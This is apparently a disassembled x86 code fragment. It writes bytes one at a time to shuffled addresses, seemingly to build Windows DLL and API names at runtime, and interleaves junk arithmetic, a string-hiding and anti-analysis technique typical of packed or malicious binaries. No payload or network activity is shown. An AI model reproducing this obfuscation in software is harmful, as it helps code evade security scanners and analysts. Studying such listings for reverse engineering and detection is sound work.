mov byte [0x10107fa4], 0x64
mov byte [0x10107489], 0x61
mov byte [0x10107a53], 0x65
mov byte [0x10107a0c], 0x65
mov byte [0x10107e28], 0x74
mov byte [0x1010798c], 0x47
mov byte [0x10107459], 0x53
mov byte [0x10107b1b], 0x69
mov byte [0x101076a4], 0x65
mov byte [0x10107613], 0x69
mov byte [0x10107dd3], 0x61
mov byte [0x1010751c], 0
mov byte [0x101078f7], 0
mov byte [0x10107360], 0x74
mov byte [0x10107e7d], 0x61
mov byte [0x101079d1], 0x74
mov byte [0x10107676], 0x65
mov byte [0x10107a47], 0x61
mov byte [0x10107363], 0x73
mov byte [0x10107372], 0x72
mov byte [0x10107fbd], 0x6c
mov byte [0x101079f7], 0x65
mov byte [0x101076df], 0x65
mov byte [0x10107d54], 0x77
mov byte [0x10107355], 0x6f
mov byte [0x10107df2], 0x49
mov byte [0x101075b2], 0x45
mov byte [0x10107479], 0x74
mov byte [0x10107e48], 0x63
mov byte [0x10107aa1], 0x76
mov byte [0x10107a9f], 0x45
add esi, ecx
imul esi, ecx
and edi, edx
xor esi, 0x6c3b4b78
and eax, edi
and ecx, esi
mov byte [0x10107c47], 0x65
mov byte [0x10107f24], 0x61
mov byte [0x10107d7a], 0x6e
mov byte [0x10107c59], 0
mov byte [0x10107370], 0x74
mov byte [0x10107cc8], 0x64
mov byte [0x10107cbd], 0x50
mov byte [0x10107573], 0x72
mov byte [0x101079bb], 0x6c
mov byte [0x10107bbf], 0x45
mov byte [0x10107891], 0x41
mov byte [0x10107ddc], 0x65
mov byte [0x1010773e], 0x6c
mov byte [0x101078dd], 0x74
mov byte [0x10107600], 0x53
mov byte [0x10107cec], 0x53
mov byte [0x101079ec], 0x72
mov byte [0x10107e96], 0x50
mov byte [0x10107df8], 0x79
mov byte [0x10107cc9], 0x6f
mov byte [0x10107798], 0x65
mov byte [0x10107a27], 0x43
mov byte [0x10107ccc], 0x52
mov byte [0x101074a5], 0
mov byte [0x101076d4], 0x72
mov byte [0x10107d79], 0x65
or edi, eax
mov byte [0x1010752e], 0x65
mov byte [0x10107ac7], 0x73
mov byte [0x1010767d], 0x65
mov byte [0x10107f62], 0x63
mov byte [0x10107821], 0
mov byte [0x10107e4e], 0x6e
mov byte [0x10107864], 0x68
mov byte [0x10107dae], 0x53
mov byte [0x1010744f], 0x7a
mov byte [0x10107912], 0x6f
mov byte [0x10107616], 0x74
mov byte [0x10107cae], 0x69
mov byte [0x10107892], 0
mov byte [0x10107e22], 0x65
mov byte [0x10107775], 0x75
mov byte [0x10107e0d], 0x70
mov byte [0x10107c4e], 0x65
mov byte [0x10107b86], 0x65
mov byte [0x10107cfd], 0x57
mov byte [0x10107510], 0
mov byte [0x10107f81], 0x50
mov byte [0x10107cc3], 0x6f
mov byte [0x1010785d], 0x41
mov byte [0x10107ca5], 0x72
mov byte [0x101073be], 0x71
mov byte [0x10107d93], 0x74
mov byte [0x10107985], 0x74
mov byte [0x10107383], 0x47
mov byte [0x10107b7a], 0x41
mov byte [0x101076f0], 0x65
mov byte [0x101076aa], 0x41
mov byte [0x10107d51], 0x6e
mov byte [0x101075ad], 0x65
mov byte [0x10107b9c], 0x65
mov byte [0x10107eab], 0x69
mov byte [0x1010791d], 0x67
mov byte [0x10107599], 0x69
mov byte [0x10107efd], 0x41
mov byte [0x1010768f], 0x63
mov byte [0x10107c66], 0x6e
mov byte [0x1010787e], 0x57
mov byte [0x101076cd], 0x6d
mov byte [0x10107b39], 0x57
mov byte [0x10107576], 0x74
mov byte [0x10107949], 0x65
mov byte [0x10107c2c], 0x46
mov byte [0x1010781a], 0x46
mov byte [0x10107a66], 0x75
mov ebp, ecx
xor ebp, 0x87dd1bb4
sub ecx, ebx
mov edx, edi
imul ecx, ecx, 0x6798c1c3
add ebp, ebx
mov byte [0x10107feb], 0x6c
mov byte [0x101075e6], 0x46
mov byte [0x10107b69], 0x73
mov byte [0x10107c7c], 0x6f
mov byte [0x101075a7], 0x65
mov byte [0x101078f5], 0x6c
mov byte [0x10107bfd], 0x4d
mov byte [0x101073f3], 0x6e
mov byte [0x10107431], 0x72
mov byte [0x1010779e], 0x65
mov byte [0x101075e5], 0
mov byte [0x101079c9], 0x4c
mov byte [0x10107530], 0x74
mov byte [0x10107ec4], 0x50
mov byte [0x101074f8], 0x62
mov byte [0x101077f1], 0x65
mov byte [0x10107e40], 0x70
mov byte [0x10107c7d], 0x70
mov byte [0x10107dcf], 0x65
mov byte [0x10107a4e], 0x75
mov byte [0x101074f1], 0x75
mov byte [0x10107bc3], 0x65
mov byte [0x101075ab], 0x64
mov byte [0x10107a79], 0x63
mov byte [0x10107794], 0x43
mov byte [0x10107339], 0x6f
mov byte [0x101076de], 0x56
mov byte [0x101074fb], 0x53
mov byte [0x10107b6c], 0x67
mov byte [0x10107a3b], 0x50
mov byte [0x10107b0f], 0x63
mov byte [0x10107eca], 0x65
mov byte [0x10107de3], 0x6c
mov byte [0x10107591], 0x65
mov byte [0x10107997], 0x6e
mov byte [0x10107f3f], 0x6c
mov byte [0x10107945], 0x64
mov byte [0x10107dd4], 0x6c
mov byte [0x101076da], 0
mov byte [0x10107727], 0x6d
mov byte [0x101076a7], 0x72
mov byte [0x1010774b], 0x69
mov byte [0x10107d59], 0x53
mov byte [0x1010797d], 0x6f
mov byte [0x10107ffe], 0x65
mov byte [0x1010759f], 0x69
mov byte [0x10107974], 0x75
mov byte [0x10107a59], 0x54
mov byte [0x10107e77], 0x72
mov byte [0x10107461], 0x6e
mov byte [0x10107cd0], 0x73
mov byte [0x10107bce], 0x4b
mov byte [0x10107443], 0x6e
mov byte [0x1010782b], 0
mov byte [0x10107b4d], 0x57
mov byte [0x1010789f], 0
mov byte [0x101073f7], 0x53
mov byte [0x101079e4], 0x6d
mov byte [0x10107deb], 0x65
mov byte [0x10107473], 0x69
mov byte [0x10107f70], 0x57
mov byte [0x10107b82], 0x61
mov byte [0x1010770b], 0
mov byte [0x10107ab4], 0x65
mov byte [0x10107c86], 0x65
mov byte [0x10107913], 0x6e
mov byte [0x10107eeb], 0x65
mov byte [0x101076c1], 0x6e
mov byte [0x10107420], 0x53
mov byte [0x10107750], 0x65
or edx, 0x842b3e52
mov byte [0x10107f6a], 0x6e
mov byte [0x101075ea], 0x43
mov byte [0x101078da], 0x53
mov byte [0x10107644], 0x73
imul ecx, ecx, 0xb90029b
sub eax, edx
or eax, edx
mov edx, eax
mov esi, ecx
imul edx, edi
mov byte [0x10107715], 0x65
imul esi, ebp
mov byte [0x101078cb], 0x65
mov byte [0x101073f8], 0x48
mov byte [0x10107958], 0x74
mov byte [0x101074a8], 0x74
mov byte [0x10107aa5], 0x6e
mov byte [0x10107f3d], 0
mov byte [0x101075c4], 0x6f
mov byte [0x10107735], 0x76
mov byte [0x10107b3d], 0x6f
mov byte [0x10107793], 0x74
mov byte [0x10107937], 0x69
mov byte [0x10107748], 0x6e
mov byte [0x1010795e], 0x72
mov byte [0x1010745d], 0x69
mov byte [0x10107cfc], 0x74
mov byte [0x10107870], 0x74
mov byte [0x1010745f], 0x6e
mov byte [0x10107844], 0x61
mov byte [0x1010764f], 0x72
mov byte [0x10107fd0], 0x33
mov byte [0x101077e9], 0x74
mov byte [0x10107494], 0x65
mov byte [0x10107a96], 0x69
mov byte [0x10107d9a], 0x41
mov byte [0x10107541], 0x65
mov byte [0x1010733e], 0x72
mov byte [0x1010769c], 0x62
mov byte [0x10107dd8], 0x78
mov byte [0x101079c2], 0x43
mov byte [0x10107e47], 0x69
mov byte [0x10107b09], 0x72
mov byte [0x10107e17], 0x67
mov byte [0x10107fb1], 0x64
mov byte [0x10107635], 0x6c
mov byte [0x1010750e], 0x74
mov byte [0x1010757f], 0x70
mov byte [0x1010755d], 0x61
mov byte [0x1010796c], 0x6c
mov byte [0x10107ac1], 0x53
mov byte [0x10107385], 0x74
mov byte [0x1010743d], 0x6c
mov byte [0x101078d5], 0x6f
mov byte [0x1010735b], 0x6e
mov byte [0x10107548], 0x65
mov byte [0x1010786f], 0x79
mov byte [0x10107d0d], 0x74
mov byte [0x10107af9], 0x70
mov byte [0x10107ebe], 0x74
mov byte [0x10107b3a], 0x69
mov byte [0x10107b8a], 0x67
mov byte [0x10107a4f], 0x6e
mov byte [0x10107bf0], 0x4d
mov byte [0x101075e9], 0x64
mov byte [0x1010793f], 0x68
mov byte [0x10107a64], 0x72
mov byte [0x101074db], 0x72
mov byte [0x10107cb2], 0x77
mov byte [0x1010745c], 0x74
mov byte [0x10107811], 0x61
mov byte [0x1010790f], 0x76
mov byte [0x10107d77], 0x6c
mov byte [0x10107487], 0x73
mov byte [0x10107512], 0x6c
mov byte [0x10107a9c], 0x47
mov byte [0x10107aef], 0x72
mov byte [0x1010741a], 0x74
mov byte [0x101076e1], 0x73
mov byte [0x10107afc], 0x72
mov byte [0x10107927], 0x61
mov byte [0x10107acb], 0x65
mov byte [0x10107966], 0x46
mov byte [0x10107885], 0x72
mov byte [0x10107f7e], 0x4c
mov edi, esi
xor edi, 0x579e1e7a
and esi, edi
or esi, ecx
or esi, 0xe1220909
mov ecx, esi
sub ecx, edi
mov byte [0x1010740b], 0x74
mov byte [0x10107bc1], 0
mov byte [0x1010788f], 0x6c
mov byte [0x101079e1], 0x65
mov byte [0x1010766c], 0x65
mov byte [0x10107c81], 0x65
mov byte [0x101075c5], 0x75
mov byte [0x101073ff], 0x4b
mov byte [0x10107745], 0x6e
mov byte [0x10107ec1], 0x6b
mov byte [0x10107f48], 0x61
mov byte [0x10107929], 0x64
mov byte [0x10107943], 0x6c
mov byte [0x1010766d], 0x63
mov byte [0x10107af4], 0
mov byte [0x1010777e], 0x79
mov byte [0x10107977], 0x54
mov byte [0x10107ddf], 0x65
mov byte [0x10107a13], 0x6f
mov byte [0x10107f96], 0x4d
mov byte [0x101079da], 0x6d
mov byte [0x10107a6f], 0x65
mov byte [0x1010775a], 0x65
mov byte [0x10107faa], 0x52
mov byte [0x10107c29], 0x53
mov byte [0x10107ffd], 0x6e
mov byte [0x101079e0], 0x6c
mov byte [0x1010745a], 0x65
mov byte [0x101075dc], 0x4e
mov byte [0x10107e72], 0x6f
mov byte [0x10107781], 0x65
mov byte [0x10107bba], 0x63
mov byte [0x101078eb], 0x47
mov byte [0x101078fb], 0x65
mov byte [0x10107eec], 0x57
mov byte [0x101075c9], 0x46
mov byte [0x10107c1e], 0x6f
mov byte [0x1010769e], 0x61
mov byte [0x101073f4], 0x65
mov byte [0x10107fa0], 0x5f
mov byte [0x10107e50], 0x72
mov byte [0x10107eb8], 0
mov byte [0x1010784f], 0
mov byte [0x10107b9d], 0x73
mov byte [0x1010782f], 0x57
mov byte [0x10107446], 0
mov byte [0x10107eea], 0x74
mov byte [0x10107d9d], 0x65
mov byte [0x1010798e], 0x74
mov byte [0x1010737e], 0x65
mov byte [0x10107ab9], 0x69
mov byte [0x10107bdd], 0x74
mov byte [0x10107661], 0x74
mov byte [0x1010778d], 0x67
mov byte [0x101076f6], 0x63
or eax, 0xee1c9cad
mov byte [0x10107ec7], 0x76
lea edi, [edi + edi + 0x18c95bc2]
mov byte [0x101077cb], 0x72
mov byte [0x10107b66], 0x64
mov byte [0x101078db], 0x79
mov byte [0x101077e8], 0x63
mov byte [0x101073b6], 0x74
mov byte [0x10107780], 0x74
mov byte [0x10107c55], 0x72
mov byte [0x101078bb], 0x50
mov byte [0x101077a8], 0x64
mov byte [0x10107cdf], 0x61
mov byte [0x10107e51], 0x6f
mov byte [0x10107f4b], 0x65
mov byte [0x10107e5d], 0x61
mov byte [0x10107a2e], 0x6c
mov byte [0x10107b1a], 0x56
mov byte [0x10107a0f], 0x50
mov ebx, ecx
or ebx, esi
sub ecx, ebx
xor ecx, edi
mov esi, eax
and ecx, 0x5b444906
mov byte [0x10107d89], 0x74
mov byte [0x101077f8], 0x47
mov byte [0x10107fa8], 0x4b
mov byte [0x10107477], 0x47
mov byte [0x10107671], 0x79
mov byte [0x10107be3], 0x73
mov byte [0x10107836], 0x44
mov byte [0x10107d08], 0
mov byte [0x101077e0], 0x6e
mov byte [0x10107a31], 0x63
mov byte [0x10107d28], 0x64
mov byte [0x10107705], 0x6c
mov byte [0x10107783], 0x44
mov byte [0x10107795], 0x75
mov byte [0x10107d7c], 0x52
mov byte [0x101078d9], 0x74
mov byte [0x1010733f], 0x6e
mov byte [0x10107da6], 0x72
mov byte [0x10107fc7], 0x6c
mov byte [0x101074b7], 0x65
mov byte [0x101073b8], 0x4f
mov byte [0x101075e7], 0x69
mov byte [0x10107f3e], 0x4f
mov byte [0x10107d68], 0x6c
mov byte [0x101075aa], 0x6e
mov byte [0x10107c4d], 0x47
mov byte [0x10107de6], 0x45
mov byte [0x101075af], 0x53
mov byte [0x101075fd], 0x70
mov byte [0x1010787f], 0x69
mov byte [0x1010763a], 0x6d
mov byte [0x10107f88], 0x52
mov byte [0x10107c9b], 0x6e
mov byte [0x10107f55], 0x6f
mov byte [0x10107e29], 0x65
mov byte [0x10107d83], 0x74
mov byte [0x10107b89], 0x61
mov byte [0x10107465], 0x69
mov byte [0x10107cb7], 0x57
mov byte [0x10107e64], 0x76
mov byte [0x101073e3], 0x48
mov byte [0x10107490], 0x65
mov byte [0x101079e9], 0x61
mov byte [0x10107e94], 0x65
mov byte [0x101079d4], 0x73
mov byte [0x10107bca], 0x6f
mov byte [0x10107bf4], 0
mov byte [0x101073c3], 0x41
mov byte [0x10107d43], 0x65
mov byte [0x1010784b], 0x65
mov byte [0x10107ff5], 0x2e
mov byte [0x10107666], 0x6f
mov byte [0x1010740d], 0x69
mov byte [0x10107d3c], 0
mov byte [0x1010752b], 0x72
mov byte [0x10107db1], 0x63
mov byte [0x10107c2d], 0x6f
mov byte [0x101076ed], 0x75
mov byte [0x10107da9], 0x41
mov byte [0x10107900], 0x65
mov byte [0x10107d91], 0x75
mov byte [0x1010762f], 0x68
mov byte [0x101078f9], 0x73
mov byte [0x101076fb], 0x64
mov byte [0x10107dac], 0x65
mov byte [0x10107efb], 0x74
and esi, edx
mov byte [0x101073d5], 0
mov byte [0x10107979], 0x73
mov byte [0x101073df], 0x6c
mov byte [0x10107838], 0x72
mov byte [0x10107bb0], 0x49
mov byte [0x10107877], 0x69
mov byte [0x10107f2e], 0x61
mov byte [0x10107605], 0x68
sub edx, eax
sub edx, 0x72bc6ebd
and edx, esi
or ecx, edi
mov byte [0x10107951], 0x6c
mov byte [0x101078aa], 0x65
mov byte [0x1010794a], 0x70
mov byte [0x101079e7], 0x48
mov byte [0x101076a8], 0x6f
mov byte [0x10107a8c], 0x72
mov byte [0x10107e81], 0x65
mov byte [0x10107ece], 0
mov byte [0x1010793b], 0x72
mov byte [0x10107455], 0x69
mov byte [0x101074ec], 0x6c
mov byte [0x10107481], 0x6e
mov byte [0x10107aa2], 0x69
mov byte [0x101076b9], 0x72
mov byte [0x10107d37], 0x79
mov byte [0x10107d35], 0x72
mov byte [0x10107e55], 0x72
mov byte [0x10107435], 0x74
mov byte [0x101073e9], 0
mov byte [0x10107fda], 0x4c
mov byte [0x1010785c], 0x73
mov byte [0x101073e0], 0x6f
mov byte [0x10107c51], 0x75
mov byte [0x1010786d], 0x69
mov byte [0x1010782c], 0x47
mov byte [0x101077ea], 0
mov byte [0x10107cff], 0x6e
mov byte [0x101074fe], 0x69
mov byte [0x10107a60], 0x74
mov byte [0x10107665], 0x64
mov byte [0x10107d11], 0x6e
mov byte [0x1010775d], 0x69
mov byte [0x10107d7e], 0x63
mov byte [0x10107651], 0x41
mov byte [0x101078d7], 0x47
mov byte [0x1010761c], 0x63
mov byte [0x101074e2], 0x4d
mov byte [0x101073ce], 0x65
mov byte [0x10107b3f], 0x41
mov byte [0x10107453], 0x69
mov byte [0x10107cf9], 0
mov byte [0x10107769], 0x65
mov byte [0x10107cca], 0x77
mov byte [0x101078e3], 0x65
mov byte [0x10107628], 0x43
mov byte [0x10107c90], 0x63
mov byte [0x10107785], 0x66
mov byte [0x10107675], 0x72
mov byte [0x10107d6d], 0x75
mov byte [0x101073b3], 0
mov byte [0x10107b79], 0x65
mov byte [0x10108002], 0x2e
mov byte [0x101078fa], 0x44
mov byte [0x1010773f], 0x53
mov byte [0x10107948], 0x63
mov byte [0x10107b05], 0x45
mov byte [0x101075b3], 0x72
mov byte [0x10107ca4], 0x6f
mov byte [0x10107bde], 0x63
mov byte [0x1010766e], 0x74
mov byte [0x10107b5f], 0x73
mov byte [0x10107a33], 0x69
mov byte [0x101076b7], 0x69
mov byte [0x10107466], 0x6e
mov byte [0x10107adc], 0x53
mov byte [0x10107ac9], 0
mov byte [0x10107fb0], 0x2e
mov byte [0x10107d1d], 0x69
mov byte [0x10107472], 0x77
mov byte [0x101079c4], 0x6d
mov byte [0x10107fa6], 0x6c
mov byte [0x1010743a], 0x41
mov byte [0x1010777b], 0x65
mov byte [0x10107f9d], 0x57
mov byte [0x10107d98], 0x66
mov byte [0x10107b1d], 0x74
mov esi, ecx
or esi, 0xce86d80a
and edx, 0x86061030
mov byte [0x10107f76], 0x54
mov byte [0x10107a78], 0x69
mov byte [0x1010793d], 0x55
mov byte [0x101077ee], 0x65
mov byte [0x10107e79], 0x69
mov byte [0x10107ae8], 0x4c
mov byte [0x10107639], 0x63
mov byte [0x101073a0], 0x6e
mov byte [0x10107c4c], 0
mov byte [0x1010797b], 0x6c
mov eax, edx
mov byte [0x10107e42], 0x6e
mov byte [0x1010792d], 0x45
mov byte [0x1010739e], 0x70
mov byte [0x10107934], 0x6f
mov byte [0x1010776d], 0x6c
mov byte [0x10107bcc], 0x41
mov byte [0x10107456], 0x63
mov byte [0x10107932], 0x74
mov byte [0x101076cf], 0x6e
mov byte [0x10107373], 0x61
mov byte [0x10107f22], 0x6f
mov byte [0x10107603], 0x70
mov byte [0x10107c57], 0x6f
mov byte [0x10107499], 0x4f
mov byte [0x101076c6], 0x65
mov byte [0x10107401], 0x79
mov byte [0x10107af5], 0x4c
mov byte [0x1010782a], 0x65
mov byte [0x10107f14], 0x61
mov byte [0x10107bef], 0x79
mov byte [0x1010742f], 0x64
mov byte [0x10107349], 0x75
mov byte [0x10107321], 0x52
mov byte [0x101075e4], 0x57
mov byte [0x101074b3], 0x70
mov byte [0x101076be], 0x4f
mov byte [0x10107aa7], 0x65
mov byte [0x10107d8c], 0x65
mov byte [0x1010736d], 0x72
mov byte [0x1010768e], 0x65
mov byte [0x10107d90], 0x6e
mov byte [0x10107d14], 0x77
mov byte [0x10107bf9], 0x51
mov byte [0x10107f12], 0x72
mov byte [0x10107dd6], 0x65
mov byte [0x10107fa7], 0
mov byte [0x10107d41], 0x77
mov byte [0x10107ff9], 0
mov byte [0x1010770a], 0x78
mov byte [0x101075d7], 0
mov byte [0x1010778f], 0x44
mov byte [0x1010796e], 0x53
mov byte [0x10107995], 0x48
mov byte [0x1010746f], 0x6c
mov byte [0x10107e1b], 0x73
mov byte [0x10107c36], 0x69
mov byte [0x10107ec5], 0x72
mov byte [0x10107751], 0x43
mov byte [0x10107470], 0x55
mov byte [0x101077f6], 0x78
mov byte [0x1010738a], 0x65
mov byte [0x10107371], 0x43
mov byte [0x1010758a], 0x65
mov byte [0x101077df], 0x69
mov byte [0x10107d92], 0x49
mov byte [0x10107588], 0x56
mov byte [0x101077f5], 0x65
mov byte [0x101078e6], 0x6f
mov byte [0x10107d63], 0
mov byte [0x10107414], 0x69
mov byte [0x10107f46], 0x6e
mov byte [0x10107caa], 0x75
mov byte [0x1010736e], 0x6e
mov byte [0x10107e10], 0x4b
mov byte [0x10107982], 0x73
mov byte [0x10107717], 0x45
mov byte [0x1010775e], 0x6f
mov byte [0x101073bc], 0x52
mov byte [0x101075d4], 0x6c
mov byte [0x10107fac], 0x45
mov byte [0x101075a1], 0x65
mov byte [0x101078ec], 0x65
mov byte [0x10107b52], 0x77
mov byte [0x10108000], 0x33
mov byte [0x101077b5], 0x6f
mov byte [0x10107921], 0x53
mov byte [0x101078f8], 0x49
mov byte [0x10107b77], 0x61
mov byte [0x10107cbf], 0x73
mov byte [0x10107b70], 0x47
mov byte [0x10107390], 0x74
mov byte [0x101079ae], 0x61
mov byte [0x10107a34], 0x6f
mov byte [0x101073a3], 0x49
mov byte [0x10107afd], 0x69
mov byte [0x10107e62], 0x65
mov byte [0x1010799b], 0x57
mov byte [0x10107906], 0x65
mov byte [0x10107ef6], 0x64
mov byte [0x10107ab2], 0x46
mov byte [0x10107b5c], 0x63
mov byte [0x10107f8f], 0x64
mov byte [0x10107b95], 0x6f
mov byte [0x10107a77], 0x74
mov byte [0x10107818], 0x76
mov byte [0x10107db3], 0x4f
mov byte [0x10107fe2], 0
mov byte [0x10107d3a], 0x6f
mov byte [0x10107503], 0x49
mov byte [0x10107bd7], 0
mov byte [0x101076d8], 0x73
mov byte [0x10107b97], 0x46
mov byte [0x10107579], 0x69
mov byte [0x10107d38], 0x49
mov byte [0x101079cc], 0x65
mov byte [0x101079b9], 0x41
mov byte [0x10107638], 0x72
mov byte [0x1010767b], 0x69
mov byte [0x10107f0e], 0x6e
mov byte [0x10107aff], 0x67
mov byte [0x1010740e], 0x6e
mov byte [0x10107b38], 0x64
mov byte [0x10107bf1], 0x65
mov byte [0x101075a3], 0x43
mov byte [0x101073d0], 0x75
mov byte [0x1010742b], 0
mov byte [0x10107c04], 0
mov byte [0x10107bd6], 0x72
mov byte [0x10107895], 0x74
mov byte [0x1010741d], 0x52
mov byte [0x101079cb], 0x6e
mov byte [0x10107b53], 0x54
mov byte [0x10107562], 0x6c
mov byte [0x1010758f], 0x69
mov byte [0x10107833], 0x6f
mov byte [0x1010793c], 0
mov byte [0x1010732a], 0x64
mov byte [0x101074b8], 0
mov byte [0x10107547], 0x47
mov byte [0x10107f9a], 0x6c
mov byte [0x1010748a], 0x6c
mov byte [0x101074fd], 0x72
mov byte [0x10107e08], 0
mov byte [0x101078a8], 0x69
mov byte [0x10107c22], 0x73
mov byte [0x10107a3e], 0x63
mov byte [0x101077e5], 0x62
mov byte [0x10107c13], 0x65
mov byte [0x10107e15], 0x52
mov byte [0x10107f18], 0x74
mov byte [0x10107693], 0x79
mov byte [0x10107326], 0x6e
mov byte [0x10107a76], 0x69
mov byte [0x1010798d], 0x65
mov byte [0x10107e12], 0x79
mov byte [0x101076ce], 0x69
mov byte [0x10107393], 0x65
mov byte [0x10107f21], 0x6c
mov byte [0x10107b6a], 0x73
mov edi, esi
or edi, ecx
xor edi, esi
or edi, 0xb83c9e8f
mov ecx, 0x41c512a5
sub ecx, esi
mov edx, 0x640ab61f
sub edx, edi
add eax, 0xd1d4986b
add ecx, edx
and eax, 0x77a81379
mov esi, ecx
mov byte [0x10107a4c], 0x43
mov byte [0x10107630], 0x72
mov byte [0x10107eb6], 0x65
mov byte [0x10107f6e], 0x6c
mov byte [0x10107522], 0x6c
mov byte [0x10107b1c], 0x72
mov byte [0x101074bd], 0x52
mov byte [0x101076bb], 0x72
mov byte [0x101073c1], 0x73
mov byte [0x10107e18], 0x43
mov byte [0x10107e7b], 0x65
mov byte [0x10107d5f], 0x4d
mov byte [0x10107761], 0x47
mov byte [0x101074e6], 0x6c
mov byte [0x10107691], 0x6f
mov byte [0x10107fc9], 0
mov byte [0x101075a2], 0
mov byte [0x10107c19], 0x72
mov byte [0x101073fb], 0x6c
mov byte [0x10107935], 0x6e
mov byte [0x101075c1], 0x63
mov byte [0x10107618], 0
mov byte [0x10107cfe], 0x69
mov byte [0x101077d4], 0x78
mov byte [0x10107a1a], 0x43
mov byte [0x10107773], 0x6e
mov byte [0x101076e2], 0x69
mov byte [0x10107b0a], 0x43
mov byte [0x1010783d], 0x72
mov byte [0x10107788], 0x6c
mov byte [0x10107eef], 0x48
mov byte [0x1010779d], 0x72
mov byte [0x10107570], 0x65
mov byte [0x101073e7], 0x6c
mov byte [0x10107dba], 0x52
mov byte [0x10107f16], 0x65
mov byte [0x1010792b], 0x65
mov byte [0x10107d27], 0x6e
mov byte [0x10107ff7], 0x6c
mov byte [0x10107edc], 0x74
mov byte [0x101077ce], 0x74
mov byte [0x10107b15], 0x74
mov byte [0x10107bf6], 0x6f
mov byte [0x10107bed], 0x72
mov byte [0x10107d60], 0x65
mov byte [0x101078e7], 0x72
mov byte [0x10107d18], 0
mov byte [0x10107bb3], 0x72
mov byte [0x10107e27], 0x65
mov byte [0x10107abf], 0x6e
mov byte [0x10107de2], 0x61
mov byte [0x10107b98], 0x72
xor esi, eax
mov byte [0x101076a5], 0x74
mov byte [0x10107bbd], 0x72
mov byte [0x101079cd], 0x41
mov byte [0x1010749b], 0x4d
mov byte [0x10107ca8], 0x72
mov byte [0x101079f6], 0x44
mov byte [0x101075eb], 0x6c
mov byte [0x10107d99], 0x6f
mov byte [0x10107ff6], 0x64
mov byte [0x10107e78], 0x76
mov byte [0x10107438], 0x6e
mov byte [0x101078f3], 0x6e
mov byte [0x10107718], 0x78
mov byte [0x10107a28], 0x72
mov byte [0x10107cce], 0x67
mov byte [0x101074cb], 0x6c
xor ebx, ebx
xor edx, edi
add ecx, edx
mov byte [0x10107631], 0x65
mov byte [0x10107db6], 0x65
mov byte [0x101078b1], 0x47
mov byte [0x1010792f], 0x63
mov byte [0x10107ee5], 0x45
mov byte [0x10107323], 0x44
mov byte [0x10107343], 0x65
mov byte [0x10107b24], 0x72
mov byte [0x101074a3], 0x43
mov byte [0x10107eb5], 0x75
mov byte [0x10107d42], 0x53
mov byte [0x101075a6], 0x73
mov byte [0x10107724], 0x73
mov byte [0x10107a4b], 0x65
mov byte [0x10107b88], 0x73
mov byte [0x10107dd7], 0x45
mov byte [0x101077ad], 0x6e
mov byte [0x1010792e], 0x78
mov byte [0x10107d3d], 0x41
mov byte [0x10107739], 0x69
mov byte [0x10107bb8], 0x72
lea edi, [esi - 0x2539a7aa]
mov byte [0x101076e7], 0x41
mov byte [0x101075cf], 0x72
mov byte [0x10107bb2], 0x46
mov byte [0x10107d03], 0x4c
mov byte [0x10107aac], 0x72
mov byte [0x1010733a], 0x49
mov byte [0x10107c6c], 0x65
mov byte [0x101079a0], 0x73
mov byte [0x101076ec], 0x43
mov byte [0x10107b02], 0x54
mov byte [0x10107c28], 0
mov byte [0x10107509], 0x72
mov byte [0x1010738f], 0x53
mov byte [0x101076c9], 0
mov byte [0x10107441], 0x6f
mov byte [0x101075d3], 0x69
mov byte [0x1010769f], 0x72
mov byte [0x10107ae9], 0x43
mov byte [0x10107ec8], 0x69
mov byte [0x10107b35], 0x46
mov byte [0x101077eb], 0x52
mov byte [0x1010777d], 0x53
mov dword [0x10106ae8], ebx
mov byte [0x10107531], bl
mov byte [0x101074f4], 0x75
mov byte [0x10107575], 0x61
mov byte [0x10107403], bl
mov byte [0x101073dc], 0x65
mov byte [0x1010779c], 0x68
mov byte [0x10107d36], 0x6f
mov byte [0x1010777c], 0x74
mov dword [0x10105ab8], ebx
mov byte [0x1010790e], 0x6e
mov byte [0x101077da], 0x74
mov byte [0x10107d55], bl
mov byte [0x101078a3], 0x54
mov byte [0x10107329], 0x61
mov byte [0x10107fe6], 0x33
mov byte [0x10107439], 0x67
mov byte [0x10107dca], 0x52
mov byte [0x10107ff2], 0x54
mov byte [0x10107b5e], 0x73
sub eax, esi
mov byte [0x10107760], bl
mov byte [0x10107337], bl
mov byte [0x10107c1b], 0x69
mov byte [0x1010794b], 0x74
mov byte [0x10107a07], 0x65
mov byte [0x10107f72], 0x4e
mov dword [0x10103e64], ebx
mov byte [0x10107a75], 0x72
mov byte [0x10107901], 0x72
mov byte [0x10107aca], 0x47
mov byte [0x10107d48], 0x65
mov byte [0x10107fab], 0x4e
mov byte [0x1010750d], 0x50
and ecx, 0xa69ff2f9
mov dword [esp + 0x18], ecx
mov ecx, eax
xor ecx, edi
sub eax, ecx
imul eax, dword [esp + 0x18]
mov byte [0x10107f60], 0x61
mov byte [0x10107ace], 0x74
mov byte [0x1010751e], 0x6e
mov byte [0x101074d3], 0x65
mov byte [0x1010757d], 0x61
mov byte [0x10107ef8], 0x72
mov byte [0x10107a65], 0x74
mov byte [0x101079c7], 0x6e
mov byte [0x10107ec9], 0x6c
mov byte [0x10107a72], 0x74
mov byte [0x101078a6], 0x70
mov byte [0x10107520], 0x65
mov byte [0x101076ac], 0x64
mov byte [0x10107fd8], 0x48
mov byte [0x10107dc5], 0x79
mov byte [0x10107e6b], 0x66
mov byte [0x10107a08], 0x65
mov byte [0x10107999], 0x6c
mov byte [0x10107a6d], bl
mov byte [0x10107e7c], 0x48
mov byte [0x1010736a], 0x6e
mov byte [0x10108001], 0x32
mov byte [0x101077ba], 0x6c
mov byte [0x10107c62], 0x75
mov byte [0x101076a6], 0x50
mov byte [0x10107be7], 0x41
mov byte [0x10107d15], 0x45
mov byte [0x10107645], 0x74
mov byte [0x101077e4], 0x4f
mov byte [0x10107828], 0x69
mov byte [0x10107b7d], 0x72
mov byte [0x10107fb7], 0x45
mov byte [0x10107f5a], 0x74
mov byte [0x10107de9], bl
mov byte [0x10107497], 0x65
mov byte [0x1010741c], bl
mov byte [0x10107ed7], 0x64
mov byte [0x101077d0], 0x4d
mov byte [0x101078ea], bl
mov byte [0x10107e56], 0x76
mov byte [0x101073db], 0x6e
mov dword [0x10105abc], ecx
mov byte [0x10107d34], 0x74
mov byte [0x10107484], 0x41
mov dword [0x101062e0], ebx
mov byte [0x101079ba], 0x6c
mov byte [0x101075b6], 0x72
mov dword [0x10105368], 0x84e5cc66
mov byte [0x1010757c], 0x4d
mov byte [0x10107491], 0x50
mov byte [0x10107e61], 0x53
mov byte [0x10107a46], 0x48
mov byte [0x10107391], 0x61
mov byte [0x10107f0d], 0x6f
mov byte [0x10107506], 0x61
mov byte [0x10107df6], 0x4b
mov byte [0x101074d1], bl
mov dword [0x1010536c], eax
